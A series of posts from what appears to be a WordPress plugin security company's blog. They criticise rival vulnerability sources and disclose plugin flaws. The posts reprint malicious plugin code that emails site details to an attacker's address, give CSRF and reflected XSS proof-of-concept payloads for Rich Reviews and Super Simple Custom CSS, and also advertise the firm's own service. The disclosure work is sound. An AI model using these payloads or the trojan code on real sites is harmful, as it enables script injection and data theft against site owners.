22 Dec

The Problem With Relying On Wordfence For Security Information

A month ago we discussed how Wordfence’s idea of keeping “site owners safe from exploitation” actually puts them at risk. Part of what we mentioned in that was that relying on security companies to tell if you plugins should be updated due to vulnerabilities being fixed is a bad idea for a number of reasons. One of them being that, as was shown with Wordfence’s post, they may be doing that well after a vulnerability was fixed, and in the case of that post, also well after it was publicly disclosed that the vulnerability was being exploited.

Along those lines it was only on December 19th that Wordfence put out a post warning about the plugin Captcha, something we did back on December 8th. That post does add some more information beyond what we identified back then, but the main point has been out there for some time before they got around to mentioning that.

When we went to look at that post we also noticed another post of theirs that is a reminder that Wordfence seems less interested providing accurate and timely information, and more interested in promoting themselves, even if that comes at the expense of people’s view of the security of WordPress.

This is Not a Brute Force Attack

The day before that post about Captcha, they had another one titled “Breaking: Aggressive WordPress Brute Force Attack Campaign Started Today, 3am UTC”, which like their previous claims along these line, isn’t true.

That can be seen starting with the last sentence of the first paragraph:

This is the most aggressive campaign we have seen to date, peaking at over 14 million attacks per hour.

A brute force attack involves trying every possible password combination to log in to a website. To give some idea of what kind of numbers that would involve, here is something we wrote on our main blog a while back:

To give you an idea how many login attempts that would take, let’s use the example of a password made up of numbers and letters (upper case and lower case), but no special characters. Below are the number of possible passwords with passwords of various lengths:

  • 6 characters long: Over 56 billion possible combinations (or exactly 56,800,235,584)
  • 8 characters long: Over 218 trillion possible combinations (218,340,105,584,896)
  • 10 characters long: Over 839 quadrillion possible combinations  (839,299,365,868,340,224)
  • 12 characters long: Over 3 sextillion possible combinations  (3,226,266,762,397,899,821,056)

For a 6 character long password, trying half of the possible combinations at 14 million an hour would take 2,000 hours or over 83 days. So that would take a while to possibly succeed.

In this case though the numbers would be much worse since Wordfence wasn’t claiming that 14 million attempts per hour for one website, but for up to 190,000

  • We are seeing up to 190,000 WordPress sites targeted per hour.

That works out to about 74 attempts per hour per website, so this clearly isn’t a brute force attack. If they lead with that number, people would be lot less concerned, but Wordfence seems more interested in creating unnecessary fear to push their plugin:

If you have not already done so, install Wordfence immediately on your site.

And their paid service:

We strongly recommend that you upgrade to Wordfence Premium to benefit from the real-time blacklist feature which blocks any traffic from these malicious IPs.

In this case, Wordfence actually indicates what they are talking about isn’t a brute force attack, as they write:

A possible explanation for this new massive increase in brute force attacks
On December 5th, a massive database of hacked credentials emerged. It contains over 1.4 billion username/password pairs. Approximately 14% of the database contains credentials that have not been seen before. The database is also searchable and easy to use.

When we bring up the repeated false claims of brute force attacks against WordPress admin password, people have repeatedly claimed that this is simply a semantic issue, but the reality is how you handle different types of attacks is different, so you need to first need to know what is really going on.

In a case where someone is trying to login in using shared credentials the best protection against that is to not use the same username/password across websites and yet in Wordfence’s list of 8 of actions to protect against this, the relevant one is all the way at the end:

8. Do not reuse a password on multiple services. That way if you have a password from a data breach in this new database, it won’t be the same as your WordPress admin password. You can use a password manager like 1password to manage many passwords across services.

Before you get to that, five of the entries are promoting their plugin or service, for example number one is:

1. Install a firewall like Wordfence that intelligently blocks brute force attacks.

If you use the same username and password across websites and that is breached the website could be breached with as little as one login attempt and firewall is going to be able provide limited protection at best, so that shouldn’t be the number one thing to do. Two factor authentication would be a better option, but that only comes in at number 5.

Number 2 shows that they will even promote their product over mentioning where WordPress does a good job on security:

2. Ensure that you have strong passwords on all user accounts, especially admin. Wordfence Premium provides password auditing capability.

You don’t need password auditing capability as WordPress already provides a good measure of the security of passwords and by default it generates secure ones. If you wanted to improve things then it might make sense to limit passwords to strong ones, instead of trying to auditing them after the fact.

There is another problem with these types of claims, it is causing people to take the wrong lesson from them. There are several comments on Wordfence’s posts about not using WordPress because of things like this. Here is one:

Thanks for the support and heads up Mark.
This rubbish is exactly why I will no longer use WordPress.
Just this week I have already shifted my sites across to another platform.
I feel for everyone who has no idea on the simplest security measures, including the free level of Word Fence let alone paying for the Premium version.
It’s not what it costs up front, but the cost to repair, replace or fix what has been lost.

The reality is this type of attack isn’t in some way connected to WordPress or unique to it, but Wordfence presents thing in way to that leads people to believe otherwise. Probably because they are most interested in promoting their WordPress security products, even when they are not the best solution to the problem.

20 Dec

Hundreds of Websites Still Using Intentionally Malicious WordPress Plugins Three Years After Being Removed From Plugin Directory

Recently the WordPress Plugin Directory was changed so that the pages for plugins that have been closed remain visible (previously they were removed). One of the impacts, for better and worse, is that you can see how many websites are still using those plugins. Last week we discussed how one plugin that was removed over a year ago due to a security issue that was being exploited, was still being used on fairly significant number of the websites that used it before that occurred. We went to look into that after we saw what looked to be a hacker probing for the usage of the plugin again.

This week we saw what looked like it might be someone probing for the usage three plugins (the requests came from different IP addresses, but occurred within seconds of each other). We will be discussing the two others in upcoming posts. But first we thought it would be worth separately discussing the other, as it is a bit different since the other two plugins contained vulnerabilities, while this one was intentionally malicious. The plugin was named Page Google Map (or just Google Map) and the request we saw was for the file /wp-content/plugins/page-google-maps/pr.php.

That plugin was part of a set of plugins we saw someone probing for back in October of last year. As we discussed in more detail then, the person or persons behind those had copied legitimate plugins and resubmitted them to the Plugin Directory and then added malicious code to them. In the case of this plugin, it was copied from version 1 of the plugin Simplified Google Maps Light.

At some point it looks like the Plugin Directory realized what was going on and removed those plugins. This plugin was in the directory at least through March 25, 2014, but was gone by September 1st of that year. People using the plugins were not warned about the true nature of the plugins and we couldn’t find any indication that there was any public mention of the issue with most of the plugins at the time. That doesn’t seem to have hidden the issue from other malicious actors, though.

The person(s) behind those plugins shouldn’t have needed to probe for usage of the plugins, as part of the malicious code emailed them when the plugins were activated and deactivated. Here is that code in this plugin:

14
15
register_activation_hook( __FILE__,'mapsgtreplugin_activate');
register_deactivation_hook( __FILE__,'mapsgtreplugin_deactivate');
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
function mapsgtreplugin_activate() { 
$yourip = $_SERVER['REMOTE_ADDR'];
$filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/page-google-maps/welcomenote.txt';
fwrite($fp, $yourip);
fclose($fp);
session_start(); $subj = get_option('siteurl'); $msg = "Maps is Activated" ; $from = get_option('admin_email'); mail("johnandrerson259@gmail.com", $subj, $msg, $from);
add_option('gmapsgoogleswpred_do_activation_redirect', true);
wp_redirect('../wp-admin/admin.php?page=pgm_googlemaps&action=edit');
}
 
 
/** Uninstall it */
function mapsgtreplugin_deactivate() { 
session_start(); $subj = get_option('siteurl'); $msg = "Maps is Uninstalled" ; $from = get_option('admin_email'); mail("johnandrerson259@gmail.com", $subj, $msg, $from);
}

Based on that and that we have seen probing for as little as one of this plugins, it seems that others realized that these vulnerabilities existed and then went to see about exploiting them.

The other malicious code allowed remote code execution and in this plugin that was contained in the file /pr.php, which was what was being probed for on our website.

According to wordpress.org there are currently still 500+ active installations of the plugin:

That indicates that there are between 500 and 599 website still using the plugin.

For this plugin the first version, 1.3, didn’t contain the file hacker probing for or the other malicious code, so some websites still using it might not be vulnerable.

The restoration of the pages of closed plugins also makes it to see other things about these plugins, in the case of the plugin we noticed that a couple of the reviews of the pluign were from people saying that they had tried multiple map plugins and this one was the best, which is interesting considering that it is simply a copy of another map plugin in the Plugin Directory.

Avoiding Using Vulnerable Plugins

There are a couple of obvious things that people on the WordPress side of things could do to help with unfixed vulnerable plugins whether due to intentional malicious code like this one or not. The first would be for WordPress to notifying people using a plugin with a known vulnerability that it has a known vulnerability. Another one would be for WordPress to release a fixed version, something that they currently only do in rare occasions and when it came to the plugin we discussed last week they didn’t even want to have a discussion about doing (we would be happy to help with them with fixing those vulnerabilities). Better handling unfixed vulnerabilities isn’t being helped by the fact that WordPress founder Matt Mullenweg claims that the issue is “hypothetical”.

Another solution here is for people to be using our service’s companion plugin, as the free data that comes with that warns about plugins that hackers are targeting, so anyone using our plugin and this one would have been warned about it since October of last year.

Our plugin is often the only free source of vulnerability information that warns about exploited vulnerabilities, despite it being possible for others to look at the data included in that and the information on our website. With this plugin, despite our public disclosure over a year ago, it isn’t listed in other free data sources we are aware of.

If you are thinking that avoiding plugins that have been removed from the Plugin Directory would protect you from unfixed vulnerabilities, that used to be the case, but these days it isn’t because we were about the only ones making sure that vulnerable plugins were getting removed and since we suspended doing that due to WordPress continued poor handling of security, no one else has taken over doing that. That currently means that plugins with millions of active installations contain known vulnerabilities in the latest version. If you were using our service you would be warned if you were using those as well having us available to help you in taking action to protect yourself (we often can provide a workaround until the developer fixes the vulnerability or until you can move off of the plugin).

19 Dec

More Evidence That the Data in the WPScan Vulnerability Database Isn’t All That Reliable

Yesterday we noted how the WPScan Vulnerability Database had incorrectly labeled a reflected cross-site scripting vulnerability discovered by Robb Carr in the plugin RegistrationMagic as having been fixed. While it would have been easy to check the proof of concept provided with the report on the vulnerability and see that the vulnerability still existed, as we did, they pretty clearly didn’t. That lack of testing is a big issue, since if you are relying on their data, you really need to test out any vulnerabilities in the plugins you use to make sure they truly have been fixed (or just use service that test vulnerabilities when adding them to their data set, of which we seem to be the only one that exists).

Looking at the entry for that in their database today, they have changed the entry to indicate that the vulnerability has been fixed as of the version released after we notified the developer of the issue:

They also changed the entry for a related claimed authenticated SQL injection vulnerability in the plugin to indicate it was fixed in that version as well:

That seems to be incorrect and an indication that they still didn’t bother to test things out.

As was mentioned in our previous post, we wouldn’t consider what was claimed to be vulnerability there to be a vulnerability, as the issue could only be exploited by Administrators, who normally would be able to do the equivalent of this (or to change a plugin to remove security code). But if you consider it a vulnerability, then it looks to us that it was fixed in the version that WPScan previously listed it as having been fixed in. As with the other vulnerability this would be easy to test out. All that they would have needed to do that would be to install version 3.7.9.2 and visit the proof of concept URL and see that it worked, then switch to version 3.7.9.3 and see that it didn’t work. Looking at the underlying code, it looks like that version 3.7.9.3 fixed it as well.

19 Dec

The Results of Our WordPress Plugin Security Checker Lead to More Serious Issues in Plugin

We recently introduced a new tool to check WordPress plugins in the Plugin Directory for possible security issues. As we continue to look to how we can improve that, we are recording any issues identified by it, so that we can see what kinds of things it is identifying and where they might be room to refine the checks.

In looking over one of the plugins that it identified issues in, what we found was that one of the possible issues was not likely to be exploitable, but did point to the possibility that plugins was not all that securely written in general and lead to us finding a more serious vulnerability in the plugin. That is obviously one data point, but it does indicate that it might be useful for plugins that are identified as having possible issue to have proper security review done. For those using our service they can then vote/suggest to have the plugin receive a review from us and for those that some reason are not interest in the service can always order a review separately.

Unneeded AJAX Registration

The checker identified two possible issues in the plugin Rich Reviews. The first issue identified was:

  • The plugin makes functions accessible to users that are not logged in to WordPress through its AJAX functionality. They should be checked to make sure they are intended to be accessed by those not logged in.

That check will identify code that is safe and intentionally set up to allow those not logged in to access, as well instances where it isn’t intended. In this case it identified something that doesn’t look like it was intended to be accessed by those not logged, but what can be done by those not logged is basically harmless.

For two similar functions the plugin makes them accessible to both those logged in to WordPress and those not logged in. Here is how that looks for one of the functions (the nopriv line allows those not logged in to access it):

add_action( 'wp_ajax_rr_dismissed_help_notice', array(&$this,'ajax_rr_dismissed_help_notice' ));
add_action( 'wp_ajax_nopriv_rr_dismissed_help_notice', array(&$this,'ajax_rr_dismissed_help_notice' ));

Here is the related function:

function ajax_rr_dismissed_help_notice() {
	$this->parent->shopApp->options->update_option('dismissed_help_notice', TRUE);
	die();
}

That will dismiss a help notice from the plugin, which at best might be a bit of a nuisance if someone not logged in caused that to happen. At the same time since that is something that is only shown in the admin area of the plugin, there isn’t any reason that someone not logged in showed be accessing it.

Unintended Validation?

The second issue identified was:

  • User input is being directly output, which could lead to reflected cross-site scripting (XSS).

That would have been caused by any the following three lines in the file /lib/rrShopApp/views/edit_single_index.php:

<form name="single-product-index" id="edit-index-<?php echo $_GET['id']; ?>" method="post">
<input type="text" name="id" value='<?php echo $_GET['id']; ?>' disabled/>
<form method="post" name="delete-listing-<?php echo $_GET['id'];?>" id="deleteListingForm">

In each of those the value of the GET input “id” is being output without being escaped, which could lead to reflected cross-site scripting (XSS). We say lead to because it could be that input was sanitized prior in the code, which would preclude the need for escaping, or in this case was validated, which would limit what could be output.

Before any of those lines can be reached the following check is done:

if (isset($options['product_catalog_ids'][$_GET['id']])) {

So unless the value of the “id” input is contained in $options[‘product_catalog_ids’] the code doesn’t run.

While it is unlikely that could be exploited, it still would be a good idea to escape those previous lines even with that in place and in this case it seems possible that check that limits was not intentionally done with security in mind, so the lack of escaping could be an indication of poor security elsewhere.

Persistent Cross-Site Scripting (XSS)

We recently have been testing out a security tool named OWASP ZAP to see if an automated tool (or more accurately considering the work that needs to be done to get it to be useful, semi-automated) could provide some additional value beyond the kind of security checks we already do during our security reviews. We ran that over the admin pages of this plugin and it identified a possible issue. The issue is something that our normal checking during a security review would have caught as well, though. When we went to look into the details we found that the issue was more serious than what the tool identified.

What the tool identified was that on the plugin’s Options page there was a reflected cross-site scripting (XSS) vulnerability. When checking other plugins we have found that type of issue has been a false positive because it doesn’t understand the implication of a nonce in the request that was included in the requests. In this case there wasn’t a nonce, which meant that there was a cross-site request forgery (CSRF) issue when saving the plugin’s settings as well. That can be combined with XSS leading to a CSRF/XSS vulnerability. That is probably more serious than a reflected XSS issue, though neither is likely to be exploited.

What an automated tool like that doesn’t do is understand the underlying code that leads to the vulnerability. With this vulnerability, as we went to look at the underlying code we found that it was more serious.

The saving of the plugin’s settings is handled by the function update_options() in the file /lib/rich-reviews-options.php. The only requirement in that code to change the settings is that the POST input “update” is set to “rr-update-options”:

112
113
114
115
116
117
118
119
120
public function update_options($init = null) {
	if($init == true ) {
		foreach($this->defaults as $key => $val) {
			if(!$this->get_option($key)) {
			  $this->update_option($key, $val);
			}
		}
	}
	if (isset($_POST['update']) &amp;&amp; $_POST['update'] === 'rr-update-options') {

That function is called when a new instance of the class RROptions is being constructed. A new instance of that class is created when new instance of the class RichReviews is being constructed. That in turns in happens on the last line of the plugin’s main file:

639
$richReviews = new RichReviews();

That means that any time the plugin is loaded, which would be when any page on the frontend or the backend of WordPress is loaded, as long as the plugin is activated, it would be possible to change the plugin’s settings. So someone could send a request to homepage of the website and cause the plugin’s settings to be changed. Through that an attacker could cause malicious JavaScript code to be output on frontend and or admin pages.

Lesser Issues Fixed

On November 3 we notified the developer of all those issues and they replied later that day. On November 13 the two lesser issue that our checker identified were fixed, but the more serious issue with the changing of the settings was not fixed. The version number was not changed, so if anyone that is already using version 1.7.3 would not be prompted to update. On November 14, we notified them that the more serious issue was unresolved. They responded the next day, that would be worked on. Nothing has happened since then.

Proof of Concept

The following proof of concept will change the value of the plugin’s Submit button text to JavaScript code that would show an alert with any available cookies, which would run both frontend pages that show that as well as on the Options page.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="update" value="rr-update-options" />
<input type="hidden" name="form-submit-text" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • November 3, 2017 – Developer notified.
  • November 3, 2017 – Developer responds.
  • November 13, 2017 – Developer release new version of 1.7.3, which resolve less serious issues.
  • November 14, 2017 – Developer notified of unresolved issue.
  • November 20, 2017 – Developer responds.
18 Dec

Lack of Due Diligence by the WPScan Vulnerability Database and WPCampus Lead to False Claim That WordPress Plugin Vulnerability Was Fixed

We are big believers in having the full details of vulnerabilities, whether they are in WordPress plugins or other software, be disclosed in most instances. That isn’t because that makes our work of compiling data on ones in WordPress plugins easier, but because we see the positive impact that has, as well as the more often emphasized negative impact. One of the important reasons for doing that is that we often find vulnerabilities that were supposed to have been fixed have only been partially fixed or not fixed at all. With more details it makes it easier for others to check to make sure the vulnerability has been fully fixed.

What is important to keep in mind though is that just releasing those details doesn’t mean that they will be checked and any unfixed vulnerabilities will be caught. When it comes to WordPress plugins, that is one of quite a few things that we seem to be the only ones doing. You wouldn’t know that by claims that people make about us, for example in a recent review of the companion for a plugin, which was less a review of the plugin and more someone just bashing us, they wrote:

Why isn’t the author doing more to help with the security community instead of bashing everyone?

Based on one of their other reviews they are a customer of Wordfence, so it wasn’t surprising that they wouldn’t know what we are up to do, since Wordfence is a company that intentionally hid that we had been the discoverer and discloser of a vulnerability they were discussing not too long ago (something they have done not just with us, but others companies as well). We had responded to that review asking for evidence that someone does more than we do and we have yet to get any response.

In another review, which was changed well after it was written (after, it seems the writer didn’t take kindly to us disagreeing with them about something, which seems to be a reoccurring issue with them), the reviewer made this claim:

The WPScan Vulnerbility Database is a valuable resource for WordPress users and developers, but the author has nothing but negative things to say about them, presumably since they do “competing” work. (Even though they are in completely different leagues – WPScan’s resources are far more robust.)

We have repeatedly said that is good resource for a lot of people (since the data can be accessed for free), but also that there are important limitations that people should know about. So claiming that we have “nothing but negative things to say about them” isn’t true. What also wasn’t true was the last part of that “Even though they are in completely different leagues – WPScan’s resources are far more robust.”. There wasn’t any evidence provided that backed that up and it certainly isn’t true for a number of reasons. One of them is that in terms of newly disclosed vulnerabilities, we are adding many more vulnerabilities than them. Another reason that isn’t true is that we actually test out vulnerabilities before adding them to our data set and WPScan doesn’t, which would catch unfixed ones.

Claims of Fixed Vulnerabilities in RegistrationMagic

Last week Rob Carr put out claims that there had been an authenticated SQL injection and a reflected XSS vulnerability that had been in the plugin RegistrationMagic and had been fixed in version 3.7.9.3.

Those claims were then repeated on the WPScan Vulnerability Database:

And also by WPCampus:

 

Only Accessible by Administrators

When we went to see about adding those vulnerabilities to our data set we first looked at the claim of an authenticated SQL injection vulnerability. While the report contains a lot of detail, it is missing a key detail, what level of user is required to exploit this. That is important since if it was only Administrators that could access this, it wouldn’t really be a vulnerability, since those users would normally be able to do the equivalent of SQL injection.

When we started testing it, we tried the proof of concept URL logged in as Administrator and it worked. We then tried it logged in as a user a level below, an Editor. When we did we got served a page that said:

Sorry, you are not allowed to access this page.

That would seem to indicate that only Administrators could exploit this. To confirm that, we looked at what capability the page that was being visited in the proof of concept required. The code that does is that below, and the fourth parameter in that list the capability required:

add_submenu_page("", RM_UI_Strings::get('ADMIN_MENU_MNG_FIELDS_PT'), RM_UI_Strings::get('ADMIN_MENU_MNG_FIELDS_PT'), "manage_options", "rm_field_manage", array($this-&gt;get_controller(), 'run'));

The “manage_options” capability is a capability that normally only Administrator level users have (and normally if lower level users have it they would also have the capability to create new Administrator users). So there isn’t really a vulnerability here, as we see it. It could be that those other sources have a different view of things, but based on looking into the second claimed vulnerability, it seems likely they did even check what users this was limited to.

This Vulnerability Hadn’t Been Fixed

The second vulnerability sounded unusual to us, as the claim was that the SQL injection vulnerability could be used to cause reflected cross-site scripting (XSS). That isn’t something we can recall seeing before.

We first tried out the proof of concept URL with version 3.7.9.2 installed and it worked. We then tried it in 3.7.9.3, which was what the discoverer and the listings on the WPScan Vulnerability Database and WPCampus claimed was the version that fixed it. The proof of concept still worked. We then tried it in the then latest version, 3.8.0.4, and it still worked. At that point we installed version 3.8.0.4 in a new install of WordPress, to make sure that the successful exploration when version 3.7.9.2 was tested didn’t cause the tries with newer versions to only appear to be vulnerable, and the proof of concept still worked.

Considering how easy it was to test this vulnerability, it indicates that those other sources are not doing any testing before making claims as to whether vulnerabilities have been fixed. That is pretty significant limit of the usefulness of their data and getting accurate information is one the important benefits of using our data instead, but one that people likely wouldn’t know about if we were not mentioning it since those sources don’t have a disclaimer that they don’t really know if their data is accurate. It certainly doesn’t help when the public is making further inaccurate claims about other data sources, like in the review mentioned earlier.

At that point we went to look at the changes made in the version that this was supposed to be fixed in, but it didn’t really giving us any idea what might be wrong.

We then looked at the HTML code being served when requesting the proof of concept URL. From that we could see that at least part of the issue is that value of the GET input “rm_form_id” from the proof of concept URL was being output numerous times on the page.

In looking at the underlying code form the plugin we found that one of those instances was generated by the following code:

var loc = "?page=rm_field_add&rm_form_id=<?php echo $data->form_id; ?>&rm_form_page_no=" + curr_form_page + "&rm_field_type";

So at least part of the issue was that the value of $data->form_id was not validated or sanitized and then being output without being escaped. Trying to trace through the code to find where that value came in to the plugin was a bit difficult. That wasn’t really all that surprising once we noticed that the developer was CMSHelpLive, which is company that doesn’t really have a great concern for security (even of their own websites despite offering security services) or for code quality.

We eventual tracked down were the value is brought in to the plugin, it was one three instances of the following line in the file /admin/controllers/class_rm_field_controller.php:

177
$data-&gt;form_id = $request-&gt;req['rm_form_id'];

Restricting the value being brought in to integers removed all the instances of cross-site scripting (XSS). Prior to that there were a couple of instances of the XSS that might have come from data passed through SQL statements, but we weren’t able to easily tell where they were coming from.

After we notified the developer they released version 3.8.0.9, which fixes this by restricting the value $request->req[‘rm_form_id’] to an integer by adding the following line to function manage() in the file /admin/controllers/class_rm_field_controller.php:

124
$request-&gt;req['rm_form_id']= absint($request-&gt;req['rm_form_id']);
15 Dec

When a WordPress Plugin Security Checker is Really Just a Site Search

One of the many problems we see in the security industry is that often tools and services are promoted as doing more than they really can, which makes it hard to determine what, if anything, they can do to help protect websites and how they truly compare to other options. The public often takes those claims at face value and it leads to them using things that provide little to no value over other options that provide better protection but are not promoted inaccurately.

The security industry surrounding WordPress does that type of thing in spades. Take the most popular WordPress security plugin, which is promoted with the unqualified claim that it “stops you from getting hacked”, despite the developers being well aware that is far from the truth. Another example of that involves something we came across as we have been looking around to see what is out that offers functionality that is similar to our recently introduced tool for doing limited automated security checks of WordPress plugins, so that we can make improvements. So far though, much of what we have found has been rather lack luster.

When doing a Google search for “wordpress plugin security checker” one of the first page results is the WordPress Plugin Security Checker on the website wpwss.com:

At the top of it states:

Check to see if the WordPress Plugin you are about to install is safe.

No details are giving as to what it actually does. It could be that it checked the plugin against known vulnerabilities or it could be it checks the plugin for security issues. Or maybe it did both, as our tool does.

When we entered the name of some plugins we got a strange result, like this one:

That result will make more sense in a moment, but as we were trying to figure out what was going on, we then noticed that well below the search box was the following:

Terms of use

WPWSS are part of CiroQu Ltd based in the United Kingdom.

  1. The WordPress Plugin Security Checker is provided to help WordPress users evaluate WordPress Plugins before they install on their website. By using this facility you agree to the these terms:
  2. The results displayed provide the information we think that you will need to make your own conclusions. We do not provide an exhaustive investigation. There may be problems that our research has not uncovered. You should therefore not rely on our results but use your own judgment as to whether a plugin is appropriate. We hope that our assessments will help you in that process.
  3. Accordingly, we make absolutely no guarantees. If we are wrong in our assessment you accept that you are not able to sue us for that reason.
  4. If you object to any of our assessments, for example if you are a developer of a plugin we have listed then please contact us. We do not guarantee to change or remove anything merely on request.

Our results are provided as an aid to plugin selection and should be considered as such.

There is a lot of text there, but the closest you get to an explanation as to what is being checked for is a mention “our research” and “our assessments”.

Clicking the first item listed after “Did you mean” got us some results, but nothing that made much sense in the context of checking this plugins for security issues:

Looking over that website we found that those results were blog posts on the website and then we found what was really going on. Pulling up a web browser’s developer console we could see that when you type something in to that search box an AJAX request was sent to WordPress with the action set as “ajaxsearchpro_search”. Ajax Search Pro is a plugin for searching AJAX based searching of a website, so this page really just searches the website to see if it has any content related to the plugin.

At best that would produce information on known vulnerabilities, but even that would require that the company to be blogging on lots of them to be of much value. The website looks like it hasn’t been updated since 2015, so the information the page could provide would be limited.

Even for what it is doing it doesn’t work to well, as if do a search for Akismet, for which there was a blog post that showed up in the in the prior search, it comes up empty:

14 Dec

Thousands of Websites Still Using WordPress Plugin that Has Vulnerability That Started Being Exploited Over a Year Ago

One of the ways that we keep track of vulnerabilities in WordPress plugins is by monitoring our websites and some third-party data for evidence of hackers are targeting plugins. Earlier this week that lead to us to us looking into a couple of plugins and finding vulnerabilities that hackers may be interested in, we have yet to get any definitive timetable on when or if those will be fixed by the developers, despite asking for that (the only response was that they would look into the issues), so we will probably be disclosing those tomorrow since hackers may already targeting something in the plugins. In the meantime, yesterday we had a request that looked to be probing for the plugin Form Lightbox:

/wp-content/plugins/form-lightbox/readme.txt

That plugin was removed from the Plugin Directory in July of last year after a hacker started exploiting a vulnerability in it. It used to be when that happened that the page on the Plugin Directory for the plugin would disappear. Recently things have changed so that the page remains and previously removed plugin’s pages have returned. One of the things that means is that you can see how many active installations a removed plugin still has. As of the time the plugin was removed it had 10,000+, which indicates that there were between 10,000 and 19,999 installations of the plugin.

As of today the plugin still 6,000+ active installations:

So there are still 6,000 and 7,000 websites still using it, despite having a vulnerability that hackers have exploited and still could as the vulnerability was never fixed. It’s possible that on some of those websites the vulnerabilities has been resolved by modifying the plugin, but we would guess that didn’t happen with many of them.

With that change it also easy to access the support forum for removed plugins and see what has been mentioned since they were remove. One the threads started since this plugin was removed shows the problem of not telling people why plugins have been removed, as people will still being looking to start using the plugin and not knowing that there is an issue.

It seems odd to us that WordPress would decide to display the number of active installs in this situation as it would make it easier for hackers to decide what vulnerabilities are worth targeting, while not warning people that it contains a vulnerability, which hackers appear to have been aware of before anyone else with this plugin.

Avoiding Using Vulnerable Plugins

There are a couple of obvious things that people on the WordPress side of things could do to help in situation like occurred with this plugin. The first would be for WordPress to notifying people using a plugin with a known vulnerability that it has a known vulnerability. Another one would be for WordPress to release a fixed version, something that they currently only do in rare occasions and when it came to this plugin they didn’t even want to have a discussion about doing (we would be happy to help with them with fixing those vulnerabilities). Better handling unfixed vulnerabilities isn’t being helped by the fact that WordPress founder Matt Mullenweg claims that the issue is “hypothetical”.

Another solution here is for people to be using our service’s companion plugin as the free data that comes with that warns about plugins that hackers are targeting, so anyone using our plugin and Form Lightbox would have been warned about the issue shortly after the exploitation started.

Our plugin is often the only free source of vulnerability information that warns about exploited vulnerabilities, despite it being possible for others to look at the data included in that and the information on our website. One recent example of that involves an arbitrary file upload vulnerability in the most recent version of the plugin PHP Event Calendar, which we disclosed and added to the plugin’s data on November 27. More than two weeks later none of the other free sources we are aware, which are the WPScan Vulnerability Database, ThreatPress Vulnerability Database, the plugin CWIS Antivirus Scanner, or the post of the website WPCampus, have included it.

If you are thinking that avoiding plugins that have been removed from the Plugin Directory would protect you from unfixed vulnerabilities, that used to be the case, but these days it isn’t because we were about the only ones making sure that vulnerable plugins were getting removed and since we suspended doing that due to WordPress continued poor handling of security, no one else has taken over doing that. That currently means that plugins with millions of active installations contain known vulnerabilities in the latest version. If you were using our service you would be warned if you were using those as well having us available to help you in taking action to protect yourself (we often can provide a workaround until the developer fixes the vulnerability or until you can move off of the plugin).

04 Dec

New WordPress Plugins Continue to Use Third-Party Library with Vulnerability Disclosed Years Ago

As we continue to work on expanding what security issues our WordPress plugin security checker tool can check for, one of the things that doing that work has lead us to take notice of is the extent that plugins are using third-party libraries that haven’t been supported in a long time. Just like a plugin that hasn’t been supported, if there has been a security vulnerability that has been discovered, it is unlikely to be fixed. That is the case with the third-party library CSSTidy, which was last updated in 2007.

One of the files in that contains a reflected cross-site scripting (XSS) vulnerability that has been publicly disclosed for years, for example, it was disclosed in one WordPress plugin back in July of 2012. Where we ran across recently across it was in a disclosure by Ricardo Sanchez of it in the plugin AMP Toolbox. That plugin has included the file and therefore been vulnerable since the first release of the plugin, which was only in May of last year.

As we were looking around at this before adding a check for usage of the vulnerable file from the library to our tool we found that it was also used in the plugin Super Simple Custom CSS, which has only been around since July of last year.

In Super Simple Custom CSS the relevant files is located at /super-simple-custom-css/css_optimiser.php and the relevant lines for the issue mentioned in the previous discomposure 142 and 143 of that:

name="url" id="url" <?php if(isset($_REQUEST['url']) &&
!empty($_REQUEST['url'])) echo 'value="'.$_REQUEST['url'].'"'; ?>

The PHP code there checks if a GET or POST input “url” exists and isn’t empty, if both of those are true then the value of the input is output without being escaped.

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Also, worth noting with this, is that this is something that the security review that is done of new plugins in the Plugin Directory is supposed to be catching, as one of the items on their security checklist is:

Escape all data before output (See: Data Validation)

Considering that the review team seems to be missing more obvious instances of this type of issue, missing this in this plugin and AMP Toolbox through a third-party library isn’t all that surprising. While we think the reviews would be better if they focused on issues more likely to lead to exploitable vulnerabilities, running newly submitted plugins through our tool would now catch usage of this library. Currently we allow paying customers to use the tool to test plugins that are not currently in the Plugin Directory, but we would be happy to provide free access to that capability to the plugin review team.

Proof of Concept

The following proof of concept will cause an alert box with the message “XSS” to be shown. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/super-simple-custom-css/css_optimiser.php?url=%22%3E%3Cscript%3Ealert('XSS');%3C/script%3E

Timeline

  • November 27, 2017 – Developer notified.
29 Nov

Sucuri Only Became Aware of Exploitation of WordPress Plugins Weeks After Public Disclosure of That Exploitation

One of the problems we find in being part of the web security industry is that the public often believes that companies that don’t seem to know and or care much about security are actually leading on things. As example of the difference between reality and that belief let’s look at something recently from Sucuri, which is one of the best known companies (though also one that has trouble doing the basics of what they offer and is engaged in rather shady practices).

Currently on their homepage you will find a testimonial that reads in part:

Another thing we like is that Sucuri knows about security issues before they become a problem – in advance.

That is very different from the reality of the exploitation a couple of recently fixed vulnerabilities in WordPress plugins (and plenty of other examples we can think of from just our cursory knowledge of Sucuri).

Back on November 7 Robert Mathews disclosed that he had discovered a vulnerability as it was being exploited in the plugin Shortcodes Ultimate and that he had then seen attempts to exploit it through another vulnerability that was in the plugin Formidable Forms. That vulnerability in Shortcodes Ultimate was fixed on October 31.

On November 9 we put out a post on the details of the vulnerability in Formidable Forms as there had not been any publicly disclosed information put out on it. That vulnerability had been fixed on October 25. The discoverer of that vulnerability, Klikki Oy, released a report on it on November 13.

Also on November 9 we added both vulnerabilities to the free data that comes with our service’s companion plugin (as we do for any vulnerabilities that hackers appear to be exploiting), so even for websites that are not using our service they could be warned if they were still using a vulnerable version of the plugins.

Despite all of that, Sucuri only became aware of the exploitation of those vulnerabilities on November 20:

On Monday, November 20th, we were notified about a vulnerability that poses a serious security risk when the Shortcodes Ultimate and Formidable Forms plugins are used together on a single WordPress installation.

